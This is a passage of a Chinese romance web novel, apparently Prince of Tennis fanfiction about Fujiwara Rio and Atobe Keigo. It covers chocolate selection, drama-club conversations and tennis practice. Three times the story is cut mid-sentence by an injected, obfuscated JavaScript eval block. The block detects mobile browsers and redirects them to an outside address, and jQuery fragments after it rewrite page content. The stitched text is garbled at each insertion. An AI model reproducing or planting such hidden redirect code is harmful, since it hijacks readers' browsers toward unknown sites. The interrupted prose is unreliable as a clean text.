“既然会长让我帮忙,我就……随便抽取几个幸运巧克力吧,”她用轻俏的话语掩饰慌乱的心跳,“我们学生会,不需要运气不好不华丽的巧克力。” “嗯,”他重复她的话,“我们不需要运气不好不华丽的巧克力。” 抹掉“学生会”这个名词,在“我们”这个代词上加强音重。 她闭着眼,随手抓一把巧克力。用塑料刀叉切下一点,送进嘴里尝了。 可惜没怎么尝出味道,像在嚼融化的蜡。 “好吃吗?”迹部景吾问,“你觉得哪几种口味更出众一些?” 他侧耳俯身来听。她坐在原位。他靠得越近。她听得见他平浅的呼吸。 “这边这几个,”她脑子发热,乱指,“还有这些,我认为都不错。” 迹部景吾放下手肘,“好,我们就选定这几种,其他的不要。” 他转正身体,拉远和她的间距。他的气味撤走了。 梨央现在才敢大口呼吸,像从绞刑架上释放的吊死犯,骤然摄入太多的新鲜空气,头晕得厉害。 额角渗出细密的汗。 她趁他不注意,背过身悄悄擦拭掉了。 13.13 今天B班下午的课程安排:英语和国语。 都是文科科目,主要学习文词和句法。 高中阶段,要想于文科上出类拔萃,靠的是灵感天赋,凭的是联想感知。 这两样好成绩的基石,多取决于遗传基因。打出生起有就是有,没有就是没有。 光借助后天力量逆天改命,很难。 某种程度来讲,羊水,不仅是人生的分水岭,也是文科水平的分水岭。 而藤原梨央,恰好是被赐下加成buff的天选之女。占分数大头的两项——作文和阅读理解,她不必过多训练,高分自然手到擒来。 甚至经常大考之后,她的作文还会被其他班级的国语老师借过去,供班上稍欠实力的同学们品味学习,汲取其中行文的优点。 还有同学在征求过她的意见后,会把她的句子摘抄进笔记本,分析结构和意象,以便日后考场上照猫画虎,作文也能像她一样拿高分。 拔群的实力赋予人充足的底气。 梨央觉得偶尔不听英语课和国语课也没关系,课后自己复习一遍即可,应该不会拖她总成绩的后腿。 倒也不是她松懈了,故意要在课上摸鱼。 实在遇到些不可抗力,她静不下心。 自打从会长办公室出来,梨央整个人便有些发飘。深一脚,浅一脚地走回教室,像踩在软绵绵的云层上。 每向前一步,总有种贴着悬崖边上踱步,稍不留神就会一脚踏空的虚浮感。 她听着鼓噪的心脏跳动声,坐回位置。 人在课桌前,魂飞教室外。 心不在焉地左耳朵进,右耳朵出。 课间,好不容易情绪落潮平复了些,她收好英语课本,换上国语课本时,嗅觉范围里又猝不及防地查觉出一点异样。 “真纪,”梨央用手肘捅了捅对着手机傻乐的同桌,“话说,你现在有没有闻到教室里冒出了……一股奇怪的味道?” 真纪头也不抬,随口问:“啊?什么味道?我怎么什么都没闻到?” “就是那种很淡的……很甜的香味,像是玫瑰香水,或者玫瑰鲜花饼的味道?”梨央努力地详实描述自己的感受。 真纪耸了耸鼻子,“没有啊,哪来的玫瑰味?我们教室又不种玫瑰。” 梨央坚持道:“有的,你再仔细闻闻。” 真纪认真地耸了耸鼻子,“没有,真没有闻到。” 她的神情不像是说谎或者敷衍。梨央也认为真纪作为好朋友,断不会不耐烦地糊弄她。 为了确保客观事实的准确性,她趁着后桌芥川慈郎难得清醒的时刻,问了他同样的问题。 芥川慈郎的回答和真纪如出一辙,一个字都不带偏差的:“啊?什么味道?我怎么什么都没闻到?” 梨央:“……” double kill。 他们都没闻见的气味,只有她闻见了。 那便只剩唯一的真相:两方对相同事物得出相反结论,其中必有一方的认知产生了紊乱。 2v1,结果明显。 完了呀! 梨央泄气地捂住脸颊。 该不会是她的嗅觉失灵了吧? “真纪,你快摸摸看,我是不是发烧了?”她手忙脚乱地牵起真纪的手,放在自己的额头上。 真纪懒懒地仰靠座椅,抬眉,侧目,长出大小眼似地疑惑瞅她半晌。 真纪:o.0? 手机慢慢放下,柏木真纪坐直身体,绷紧唇线,认真地从头到脚,从脚到头地扫描梨央。 她模仿出专业医生的肃穆,似一台X光机,对梨央身体的每个角落进行扫描成像,试图从蛛丝马迹中探查出她的病灶。 “我觉得你可能真的生病了,小梨。” 真纪一脸高深莫测地诊断。 “什么病?” 梨央一脸焦急期待地等候。 真纪凑近她,用低缓的声音一字一顿: “相、思、病。” 梨央:“?” 梨央:“。” ……靓女语塞。 不等她反应过来,真纪又给她第二记暴击。 “你怕不是想迹部君想魔怔了。” “哈哈哈哈哈哈。” 真纪发出一阵嘎嘎嘎的尖锐爆鸣,笑得趴在课桌前仰后合。 梨央恼羞成怒地拍了她一掌,佯怒地说:“你别睁着眼睛胡说八道。” 亏她刚才还信任着真纪,准备听取对方这位好朋友的意见,着手实行治疗措施。 原来是在拿自己开玩笑。 所幸,嗅觉的异样并没有持续太久。 不出一分钟,鼻端萦绕的玫瑰味消散。随之一道的,周身软绵绵不得劲的体感,胸骨间猛烈的跳动,耳中时不时的嗡鸣,也销声匿迹。 她又恢复到健康正常,心无波澜的普通状态。 梨央严肃地对下午的异状进行分析。经一番缜密地逻辑推断,她对此理出结论—— 都怪会长那张脸长得太出众。 就像男生们私下爱口口相传哪班哪位女生很漂亮,女生们有时也会偷偷提名心目中的帅哥。迹部景吾当然是次次榜上有名,从不缺席。 无怪她一进冰帝,便能不间断看见本校的、邻校的、甚至跨区校的女生对他表明心意。 客观的帅气,往往具有霸道性的统治地位。 这是一种不需要经过辩驳、掰扯、说服的定论,但凡见过的人,就会自发将其归类,且不存在任何人会对此提出异议。 向美之心,人皆有之。 被这样一副极具冲击力的面貌贴脸开大,偶尔激动一小会也非常正常。 不如说在中午那种情境下,如果还能保持心如古井般的麻木,那简直就是高人,真正地超脱了凡尘世俗,不食人间烟火。 不需要再在人间待着了,直接收拾收拾准备白日登仙吧。 梨央一边收拾课桌,一边翻来覆去地脑内循环,觉得这一长串理由实在合情合理。 于是,在放学后寥寥无声的教室,她自我认同似地低声“嗯”了一句,重重点头,朝着戏剧部部活室轻快地走去。 - 戏剧部最近在排演《阴谋与爱情》的节选。 演员组和剧本组的同学们去了另一间部活B室对台词。部活A室只剩梨央一个人。 三面落地窗的帘布大开,光影斜照,浅橘色霞晖倾铺在夹着画纸的画板。 梨央的膝盖上摊着勾画凌乱的剧本。 她专注地凝视画板,根据剧本构思分镜。 手肘以大腿为支点,掌心撑着下颏。铅笔挟在指间,时不时画纸上描摹几笔。左看右看,不太满意,又擦掉。 试探的笔触再次落于纸面。 “砰——” 部活室大门遽然打开。 “啊啊啊,好重好重——” 抑扬顿挫的呼嚎响彻室内。 梨央放下笔,下意识冲到门边帮忙。 真纪抱着七个大盒子,一个垒一个,淹没过她的头顶。旁侧跟着她的男朋友日吉隼人,两手也不得空,一手一箱满满的演出道具。 她颤巍巍地接过四个盒子,低头一瞧。竟然是菅原同学家的巧克力豪华礼盒装。 “好了,你的任务完成了,退下吧。” 放下盒子,真纪对日吉隼人大喇喇地挥手。 东西码放整齐,梨央不忘对这位戏剧部“编外成员”致谢:“不好意思日吉同学,这次又麻烦你来戏剧部跑一趟了。” “不用客气,藤原同学,”被当苦力的日吉隼人毫不在意,朝真纪一笑,“一切都是Master的命令罢辽。” 然后,荣获真纪一脚踹出部活室的殊荣。 金底洒银,用丝带系成漂亮蝴蝶结的包装盒呈放在眼前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604660|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨央忽然觉得有些眼熟,挨个仔细观察,几个片段闪回在记忆中。 “真纪,这些巧克力,你是从会长那里拿来的吗?”她指了指盒子,问。 “是的,”真纪回答,“下午迹部君给每位部长发七大盒巧克力,让我们带回部活室,说是辛苦我们上月校内活动的慰问品。” 就在半个小时前,没有半点征兆的,迹部景吾通过部长群让全部社团的部长马上聚集于会长办公室。 如此大阵仗极少出现,有几个部长去的路上还愁眉苦脸,生怕自己哪里做得不好,不幸被会长发现,现下要拉去在批斗大会树典型。 结果到了才发现,这次并非批斗。 而是嘉奖。 迹部景吾的言辞很简单,也很诚恳—— 大致意思是,上月校内活动得以顺利举行,全靠各个社团的协作。非常感谢大家对学生会工作的支持。今后校内事务也需要大家尽心尽力,为学生会工作鼎力相助云云。 然后哗啦推上巧克力,表示这是作为会长一点小小的心意,大家尽可尝尝。 如果觉得不错,以后他自掏腰包,每个月给各部活室的零食柜多加些种类。 当场感动得好几个部长泪光盈盈,就差振臂高喊“一定追随迹部会长”。 真纪倒是没太多想法,不过她也能理解大家澎湃的心绪。 其实很多时候,大家在乎的不是礼物贵贱。虽然是份内之事,但自己的努力能被人看在眼里,记在心里,图的不就是自身付出被在意着的情感支持么? 要不说迹部景吾在冰帝得尽人心。 那都是有原因的。 迹部家绵延十数代,后辈还能出迹部景吾这么一个不得了的人物,真是祖坟青烟冒成紫烟。 梨央此时也若有所感,小声嘀咕一句:“原来会长中午所说的‘大用’是指这个呀。” 真纪敏锐捕捉到其中深意。又一沉思,电光火石间,模糊的关窍一通百通。 欸,这可巧了,上午菅原同学送给小梨的巧克力,不正是这个牌子么? 她三分试探,三分笃定地问梨央:“这几种巧克力……是你挑的?” “对呀,”梨央一五一十道,“我跟会长说菅原同学的巧克力很好吃,会长就把所有品种都买回来了,让我帮着挑些好吃的口味。” ——哇哦。 真纪头顶上的灯泡亮得呲呲响。 她说呢,市面这么多可供选择的小礼物,偏偏迹部景吾要挑这一样。而且还是长期、稳定地供应。 原来源头的本尊就站在这里呢。 真纪挂着一脸姨母笑。 从另外的角度看,大家倒全是沾了梨央的光。 少爷这心思,一套一套的。 不过也不赖。 迹部景吾暗戳戳在小梨那里满足了争强好胜的心,菅原家得到了供货订单,各位社团成员拥有了额外的下午茶点心。 赢,大家都赢,赢麻了。 真纪信手拨开一颗巧克力,丢进嘴里,看着安静画画的梨央,心中倏尔闪过一种—— 中宫的皇后殿下只是随意说了一句“今天天气很好”,便把今上高兴得,直接大肆封赏天下万民的即视感。 但是,看样子,“皇后殿下”似乎对此一无所知呢。 真纪默然含着巧克力融化一阵,喝了一口水咽下。而后,她拉来一张板凳,凑在梨央身边坐下。 “小梨,说起来,”她意味深长道,“你难道就没有思考过,在前学生会会记辞职之后,迹部君为什么唯独让你来接替吗?” 问题很突兀,但背后的逻辑却不突兀。 ——是了,梨央并非原定的学生会核心。 她,是唯一一个,由会长迹部景吾亲自主动上门,千劝万劝,才好歹拉进来的成员。 大少爷这场单独针对她的“行动”,早在去年秋季的时候,便已经开始了。 14.14 “嗯?”梨央顺口问,“为什么?” 语气平淡成一条直线,比风平浪静的湖面更不起波澜。如果不是字面的表意,根本听不出含有疑问的意味在。 她也的确口是心非地对这个问题产生不了丝毫好奇。 迹部景吾想让她接替,就是想让她接替,完完全全如同1=1一般浅显,能有怎样的深意? 这种旁枝末节的琐细,竟然要像做阅读题一样深思一番吗? 不至于吧。 梨央横竖无法理解。 所以这个反问,只当做为了回应真纪的闲聊。就像和人碰头寒暄,信嘴问“你吃了吗”一个道理。问出这句话即大功告成,对方回答什么反倒不重要。 她对藏在谜面下的谜底不感兴趣。 过度解读不可取。 不过,为了不扫好朋友的兴致,趁真纪作出回复前,梨央装模作样地托住下颌沉思,随后,给出一个相对看得过眼的答案。 “可能……” “可能会长当时实在找不到人了?” 她不费脑子地稍微记起去年的场景。 在她之前的那名学生会会计是位男生,就读于H班,叫上岛哲,学生会早期的核心成员之一,担任会计一职有好几个月的时长。 她那时尚是戏剧部的部门会计,和上岛打过几次照面,觉得这人能力不错,为人也和善。 后来某一天,她听说他决定走艺术升学的道路。除去基础课程的学习,每天的画画训练便占满了剩余时间。高压之下,上岛实在无心扛起学生会的重担,于是向迹部景吾提出辞职。 那段时间,她给上岛递交戏剧部的财务资料时,经常能听见他愁眉苦脸的哀叹,生怕作为会长的迹部景吾不给他批。 毕竟重新找人是件麻烦事,学生会的资料交接也要耗费不少时间。 没成想,事情进展得相当顺利。 辞呈是上午交的。 会长的同意章是中午盖的。 紧接着,迹部景吾下午便来登戏剧部的门。 不为别人,直奔她而来。 没有过多铺垫,他开门见山地张口—— “藤原,学生会会计一职,我希望你能来接替上岛。” 当然了,理由给得相当充分。 首先,哐哐哐为她戴上一顶高帽子。 “各个部门递交上来的会计资料我都有翻看,虽然大家各有千秋,但综合而言,我认为你的能力最突出。” 然后,将她架到一处较高的道德境地。 “学生会的财务款项较多,也比较急,其他部门的会计们暂时抽不开身。藤原,如果你不答应我的话,我这边可能会相当棘手。” 最后,他手起刀落,彻底堵住她的退路。 “至于戏剧部的会计,我已经提前找过了柏木,她同意接任你的职位。所以,现在只需要你点头,一切就能顺利进行。” 三步走,三板斧,正中红心。 话说到这地步,她似乎丧失了拒绝的借口。 何况也没有非拒绝不可的道理。 第一,她并不排斥多和学生会接触。能入学生会的同学,多少有些长处加身。与一群优秀的人待在一起,于她自身的成长也相当有益。 其次,不看僧面看佛面。 即使不给他面子,但加上疼爱她的迹部瑛子阿姨这层考量…… “可以”一端的天平逐渐倾斜到底。 如迹部景吾所愿,最后她踏进会长办公室的大门,搬到他身旁的那张会计办公桌。 如今,她坐在部活室,回想去年发生在部活室的场景,竟然萌生出了往事不可追的感触——真是小小年纪就提前体验了一把年纪的沧桑,笑死。 梨央想了想,叹口气又对真纪补充。 “哎,真纪,你是没看见,当时会长的表情特别忧虑,头发都乱了。” “我觉得我如果狠下心拒绝,半夜可能得愧疚到坐起来打自己一下。” 真纪:“……” 真纪:“哦……哈哈哈……” ——也就迹部大少爷吃准你心软而已。 真纪默默地想,但不敢说。 “那你知道迹部君在找你之前,其实是先来找的我吗?”她另起了一个重点问题。 梨央理所当然地点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617676|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“知道。” 真纪:“那你知道我为什么会答应他,在你担任学生会会计之后,我来接替你的职位吗?” 梨央:“?” 梨央诚实老实地摇头。 “因为,我只问了他一个问题。” 真纪凑近她,刻意压低声音,像是在告诉她世界上最昂贵珍宝的所在地—— “我问迹部君,接任学生会会计的这个人,一定、必须得是你吗?” “不能是别人吗?” “你知道迹部君怎么回答的吗?” 闲聊进展到此处,梨央这才激起点兴趣。 她抓着板凳紧贴真纪。琥珀色的眼睛迎着日色,像点了一丛火把一样闪动发亮。 凭借本能的直觉以及少许经验,一般这个问题下,回答者通常会列举出提起之人的优点,以及对其真正的看法。 虽然她并不过分看中他人的评价,不过夸奖嘛,有机会多听几句让自己高兴,有什么不乐意去做的呢。 何况还是出自迹部景吾之口的夸奖。 情绪价值简直拉到max。 “嗯哼,当时迹部君说……” 真纪神秘兮兮地清了清嗓子,翕动唇。 梨央屏住呼吸等待。 语声的气音流动在耳际,猝不及防,梨央的耳膜刺进一阵大笑。 “——哈哈哈哈哈,还没到时候,我暂时不跟你讲。” “哇,话说一半也太可恶了!”她假装生气,“说话藏一半的人吃泡面没调料包。” “嘻嘻嘻嘻,我以后绝不吃泡面,吃一口我是猪。” 真纪嬉笑着插科打诨地囫囵过话题,拆开第二颗巧克力放进嘴里。 甜的,丝滑的口感融化在唇齿间。 吃着梨央选的巧克力,盯着梨央因无奈撇下的嘴角。一些影子在眼前重叠。 ——“是的,必须是她,我只选她。” “是别人就不行。” 当初迹部景吾回答的这两句话,暂时还是不告诉小梨了吧。 免得打乱了会长大少爷自己的节奏。 真纪一边咀嚼巧克力,一边想。 15.15 周四,木曜日。 网球部的活动安排为跑步和基础练习。 下午课程结束,正选和非正选陆续从教室到达网球训练场,准时集训。 不必人多说,每个部员规规矩矩地换上运动服,稍作拉伸,上跑道开始今天的训练。 网球部的管理井然有序,阳奉阴违的情况从不发生。部长迹部景吾虽然人没到,但他余威犹在,像影子一样监督训练场,没有人敢偷懒。 ——除了正在睡觉的芥川慈郎。 身为网球部独一份的特例,他来网球部的唯一作用,可能是为了表明他这个人还活着。 也曾经有人对此颇为不满,私下里对迹部景吾提出过异议。 而迹部景吾,只是向睡着的慈郎丢过一个无所谓的眼神,说道“不是所有人都可以睡着觉当上冰帝正选”。 部长亲自开了金口,加上两三好事者曾在芥川慈郎清醒状态下发起过挑战,毫无悬念地被打得招架不住,所以,现在无人有微词。 实力,即是任性的资本。 亘古不变的道理。 部员齐刷刷跑过五圈,迹部景吾来了。 姿态挺拔的黑影隐现于网球场入口,所有人旋即立刻改换方向,像卫星环聚在母星周围似的,围拢在他身边。 “部长,下午好——” 腔调统一,声音响亮,很有精神。 “嗯,”他轻轻应了一声,“各位今天也做得不错。”例行鼓励一下士气。 然后,他扫一眼阶梯上侧躺睡觉的芥川慈郎,问道:“今天是什么时候开始的?” 忍足侑士推了一下眼镜,接口回答:“和昨天一样,一来就睡着了。” 芥川慈郎翻身,喃喃梦呓:“谢谢你藤原同学……巧克力很好吃……” 迹部景吾用手指敲点着鼻梁,揉了片刻才收回视线,接过桦地递来的名册,按照上面的名字,一一挨个对应底下的面孔。 网球训练场满当当的部员,鸦雀无声,没有胆量摆弄一点小动作。 菅原站在人群中的第二排,正选的后面。 不明白为何,他莫名有些紧张,丝毫不敢东张西望。像动物在地震来临前的惶恐不安,没有缘由,莫名其妙。 迹部景吾逐次扫过部员的脸,到他时,目光多停了两秒,上下打量两次。不喜,也不怒,眼里看不出蕴涵哪一样特别的感情。 由此,这目光便无端地具有穿透性,像一把手术刀,划开身上的遮蔽,袒露出赤裸的肉.体。 菅原不由自主地做了一个吞咽的动作。 这两秒,他的大脑cpu转冒烟,开始疯狂回想最近一段时间有没有做错事。 得出的答案是:无。 于是他愈发紧张——完了完了,还不知道自己错在哪里,罪加一等。 不过什么也没发生,两秒后,迹部景吾的目光移向他左手边的部员。 有点高高举起,轻轻放下的意思…… 迹部景吾没有对他额外关照,加上再次确认自己表现良好,菅原的心情略微放松下来。 部长不是一个吹毛求疵,无故迁怒他人的性格。既然自己没做错什么,那自然不必害怕。思及此,菅原挺直脊背,又恢复了些许信心。 方才的错觉,极大概率是他的主观臆测。 确如他所想,部长的情绪非常稳定,不曾对他发难,甚至还尽心尽力地多指点了他几句。 “菅原,挥拍的时候用力一些。” “注意脚下姿势。” “很好,就是这样,继续保持。” 指导完菅原,迹部景吾叫日吉若。 “日吉,今天你来和本大爷单打。” “好的,迹部学长。” 得到下克上机会的日吉若,拿起网球拍屁颠屁颠站到迹部景吾对面,伸展腿脚,沉肩坠肘,摆出对战姿势。 网球一来一回击打,猎猎作响。生起的风带着凛冽无形的尖角,像寒冬的霜雪。 今天不知道出于什么原因,迹部景吾下手毫不留情,每一招每一式,奔着直取对方命门的架势出手。 几场下来,日吉若已经节节败退,丧失了还手之力。迹部景吾却越加得心应手,再来十个八个正选也不在话下。 围观的部员看得目不转睛,下意识为他们部长高强的技术和体力咋舌。 中场休息的时候,部员零零散散地坐着聊天,旋开矿泉水瓶喝水。 日吉若慢吞吞地走到忍足侑士身边。 “忍足学长……” 他欲言又止,止言又欲,最后牙一咬,心一横,还是问出了口。 “我感觉……迹部学长今天不太对劲。” 忍足侑士:“?” “怎么说?” 日吉若:“我觉得迹部学长今天和我打球的时候,兴奋过头了。” 整个人喜气洋洋,眉宇间压不住的三分春色。 一种不知道在暗爽些什么,反正已经爽了一天了的感觉。 忍足侑士确认了他的猜想:“迹部他确实爽了一天了。” 日吉若:“忍足学长,你知道迹部学长今天为什么会这么亢奋吗?” 忍足侑士沉默片刻:“不知道。” 日吉若疑惑挠头:“可是……你们两人不是在一个班级吗?” 言下之意是,忍足学长你竟然也不知道吗?震惊,大为震惊! 忍足侑士无语扶额,“我是大少爷的同学,不是大少爷的蛔虫。” 他朝迹部景吾的方向一扬下颏,“要不然,你自己去问问他?” 日吉若:“……” 他不就是不敢问,才来向忍足学长打听的吗。 “算了,迹部学长不想说,一定有学长的道理,我还是不要多嘴了。” 日吉若脚底一滑,开溜。 忍足侑士站在远离人群的网球训练场边缘,目光透过镜片,追到迹部景吾身上。 他刚才是对日吉若说谎了。 和他嘴上所说的“不知道”不同,对于迹部景吾今天似有若无的反常,他心里其实有一些揣测。这个揣测的由头,最早可以追溯到去年,新选学生会会计那段时间。 大少爷自以为藏得很好,但在他这双阅尽纯爱小说和电影的慧眼之下,一切都有迹可循。没别的,就是理论知识丰富。 就像今天,大少爷一进网球场还能刻意压制住自己的情绪。然而球拍上手,打球上头,那些情绪便很诚实地冲破了束缚。 不过,这事忍足侑士没对任何人提起。 就连柏木真纪的旁敲侧击,他也装傻充楞。 在大少爷自己亲口宣告之前,他无权代为向外传扬。 邻居家的爷爷能活到一百岁,因为他从不说闲话。 迹部景吾在翻训练记录册。 几页之后。 他注意到夹在记录表中的枫叶书签,于是记录册也不看了,拿起这枚戏剧部的周边,放在掌中不停摩挲,不肯放下。 唇际上扬的弧度越来越深。 那表情,像是战场上统领千军万马凯旋的国王,骑在马背上,阅尽臣民欢呼春风得意的味道。 那枚捏在他手里的书签,犹如拔起的敌军旗帜。胜利的象征。 哎呀哎呀。 忍足侑士轻啧一声。 看来国王陛下好事将近。 难怪一副喜气洋洋的样子,今天原来是有喜事发生呀。 - 下午部活时间结束,戏剧部的部员陆陆续续都走光了。真纪的男朋友日吉隼人也来接她一起去吃晚饭。人影渐散,人声零落,背着梨央越来越远。她又独占了整个部活室的寂静。 稿纸上的分镜头还没有画完。 迹部景吾也还没来找她。 她不能走。 继续当戏剧部的留守儿童。 梨央理了理揉出几道褶皱的剧本,侧支起铅笔。墨色点迹跃在纸上,斜飞起笔的态势。 停顿三秒,终究凝滞了,笔势没飞得起来。 不知怎么的,有些画不下去。 或许是旁边桌上那几大盒巧克力太过显眼,攫取了她的全部注意力。 每个口味的包装盒都被打开,七零八落,已经被部员分食了不少。 可她一个都还没有吃。 中午也只是在迹部景吾的注视下囫囵尝了,咽下去什么滋味也没有。 好歹是她选的呢,自己反而没享受到。 亏,亏麻了。 于是她扔下笔,径直走向巧克力,随机挑选了一个榛果巴旦木味道,撕开金箔包装纸,咬在唇齿间。 果仁香和可可脂的香气霎时蔓延开。 巧克力是正方形块状,比中午的试吃装大些,她没法尽数塞进口中。因此她打算吃一半,慢慢品。剩下一半先在手中幸存着。 ——“笃”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651421|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “笃”、“笃”。 被她挑中的“幸运”巧克力刚被咬断,部活室门板有节奏地发出三声响。 梨央寻声抬头。 金光稀薄地氤氲在门边,像一幅名画的外框。而画中最至高无价,挂在墙上只许人远离瞻仰,不许人近观亵渎的“肖像”,正偏头含笑地望向她的眼睛。 “会……咳咳……” 本想主动和来人打一声招呼,可惜那半块巧克力非要和她对着干,竟直接从舌尖滑下,差点噎在喉间。 迹部景吾见状,迅速跑到她身边,为她接了一杯水,“慢一点,这里没人和你抢。” 有种哄小孩的,无可奈何的调笑语气。 他的手轻轻拍在她后背,带着帮她顺气的意思。手部肌肉收着。极注意力道,似乎是怕弄疼了她。一下一下,温柔的动作,让她想起小时候妈妈哄她睡觉时的抚摩。 ……更像哄小孩子了。 她有些难为情,巧克力就着吨吨吨几口水三两下嚼了送进胃里,缓过气来,找点话让自己摆脱当下的情绪。 “会长,你们网球部训练完了?” “嗯,”他点头,洗过后黏着湿意的发丝翘了一下,“今天的训练内容很基础,所以结束得早。怕你一个人等着急,先过来看看。” 迹部景吾从她后背撤回手,垂落的目光扫视了一眼桌上,转一圈,最后落到她举着的,咬了半块巧克力的锯齿边缘。 “怎么样?自己选的巧克力口味,还满意吗?”他挑起眉梢,“中午没尝出味道,现在应该有好好体会到了?嗯?” ……啊? 梨央张圆眼眸,刚触到唇边的巧克力也忘了张嘴咬一口。 这……这他都能看出来的? ……她中午哪个微表情能凸显出这个意思? 想半天想不起来。就很离谱。 她有点怀疑会长的视力不是2.0,而是钛合金扫描仪,专门读人心的那种。 原本想糊弄过去,最终因没找到合适的理由而放弃。在被人看穿的情况下,撒一个蹩脚不高明的谎更出糗了。 不过万幸,他并不知道她中午食之无味的真正原因……应该吧。 没说,就是没有。 “会长您实在明察秋毫啊!”梨央心虚地,干巴巴地吹彩虹屁,“这点细节都被您察觉到了,不愧是我们冰帝火眼金睛的国王陛下。” “那是,有什么事是能瞒得过本大爷的?” 他靠近她一步,上扬的声调又拽又得意。 “好的呢,敬爱的国王陛下,”顺着这个玩笑,梨央随意从巧克力中挑一个递给他,“那么,请陛下您赏个脸,尝尝您亲自掏腰包买的巧克力味道怎么样?” 包装纸从她视野里一闪而过,她发现上面印刷的是——“黑巧克力,85%”。 达到这个含量,已经是入口发苦的味道了。 但她记得迹部景吾不怎么吃苦味食品。 不行,这块巧克力选得不好,八成不符合他的口味,重新选一种。 他日常的最爱是烤牛肉和约克郡布丁,是和苦味相去甚远的咸味食品。 不过现在手头没有咸味的巧克力。 那便挑个不出错的传统型,例如牛奶巧克力。他喜欢玫瑰的香气,合理推测对甜味接受度也相当良好。 然而,她的手还没来得及收回,迹部景吾已经先一步看穿她的想法。 他迅速出招,不用整个手掌,仅用食指和拇指环成一个圈,虚虚桎梏住她伶仃的腕骨。 阻止了她撤回的动作。 温热,带有薄茧的指腹点在皮肤上。 略微粗糙的沙砾感虚贴,像被蚂蚁蛰一口血管,酥和麻在流荡。他的指下,是她的脉搏在跳动,仿佛他轻轻一捏,便能轻而易举地掌控住她的命脉和呼吸。 明明没有过多皮肤接触,也没有太用力。 但她总是挣脱不开。 “冒昧了,藤原。” 始作俑者还在扬起眼尾对她微笑致歉,大方坦然,“这块黑巧克力我很喜欢,不用重新给我挑选一个。” 他眼疾手快地取下黑巧克力,不作过多停留,马上松开她的手腕。 梨央怔愣地眨了眨眼,“会长,百分之八十五的黑巧克力很苦的。” 黑巧克力的包装纸三下五除二剥开。 “没关系,”他举起黑巧克力,眸中笑意金光粲然,“今天它是甜的。” 16.16 在接到迹部荣一叔叔的短信通知前,梨央和迹部景吾在部活室逗留了半个多小时。 她面对画板端坐,迹部景吾站在她身后。 他投在地板的高大影子,贴俯于她的脚踝。 梨央握住铅笔,潦草地给人物添几根排线。因为注意力不足,线条呈现出诡异的扭曲感。 她看见了,不擦掉,不重画,也不太在乎。 手上像抽干力气似的,懒得动。 “藤原,左边人脸沾上了碳灰,不用橡皮擦一下么?”他向前倾身,伸手越过她的肩头,点了点纸面。 高大的影子随之移动,从脚背一跃而上,攀爬着裹住她的手臂。 红热的日晖从他的指尖坠到她的小臂。 像一滴烧红的铁汁飞溅,一点不经意的灼烫穿透皮肤。她朝远离他的方向挪动了些微距离。 “……故意的,表达一下阴影感。” 驾云扯谎,打胡乱说。 草稿而已,最终的宿命是丢弃进垃圾桶。正式的定稿过几天会誊在另一张纸上,所以,现在多鬼画符都是一种可以接受的尝试。 “好,你按自己的思路画,”她听见身后零落一句轻泛的气音,“我不插手。” 他直起身来,宽大的手掌抓住她的椅角,食指搭上离她脖颈只几厘米远的椅杠。 指尖一起一落,有一下没一下地敲击。 过近的距离。声声铿锵清晰,声声回响在她耳膜里。慢慢地,这声音里头幻出一根专杀绞刑犯的绳,一圈一圈绞绕着她的喉部。 注意力不足,手部乏力的原因找到了。 这明显不能怪她。 他的敲击声无端让她联想起一种中世纪酷刑,记载于各类猎奇百科上,据传是比肉.体受刑的残忍度更上一个等级的精神折磨。 犯人的身体紧紧束缚于板凳——她则是定在座椅上,因为挪一下极可能会撞上迹部景吾。“受刑”的环境有了。 用黑色布条蒙住其眼睛,使之不能视物——她的眼前只能看见画纸,也差不多。 然后,沸水袋悬于头顶,开一个小孔,从中滴落水滴,一滴一滴砸在犯人额头。 天长日久,皮肤烫得发胀溃烂,声音折磨得人焦躁想吐。人却不能动弹。 非死即残,没死先疯。 记忆闪回插图上犯人大张嘴,挣扎着扭曲着呼吸的模样。梨央感到一阵窒息。 她情不自禁地捏住衬衫领口,抵着下颏往上提了提。聊胜于无的抵抗,呼吸在轻微发颤。 迹部景吾似乎没有发现她的异状,有一搭没一搭地同她闲聊。 ——感谢会长超级无敌大E人的外放性格,他总能找到合适且不会冷场的话题,免去她绞尽脑汁挑词造句的麻烦。 “藤原,画画你现在还在学么?” “没有了会长,升高中后时间不够,暂时先停了绘画课。” “我看你以前给母亲寄的明信片,经常提起画室趣闻。我还以为你会和上岛一样,选择走艺术升学的路子。” “倒是有这么考虑过啦。不过爱好一旦变成职业之日,八成就是失去这项爱好之时。我认为还是不要给自己上难度了。” “是么?”迹部景吾便笑着打趣,“看来今晚我终于能睡个好觉,不必担心你步上岛后尘从我身边辞职离开。” 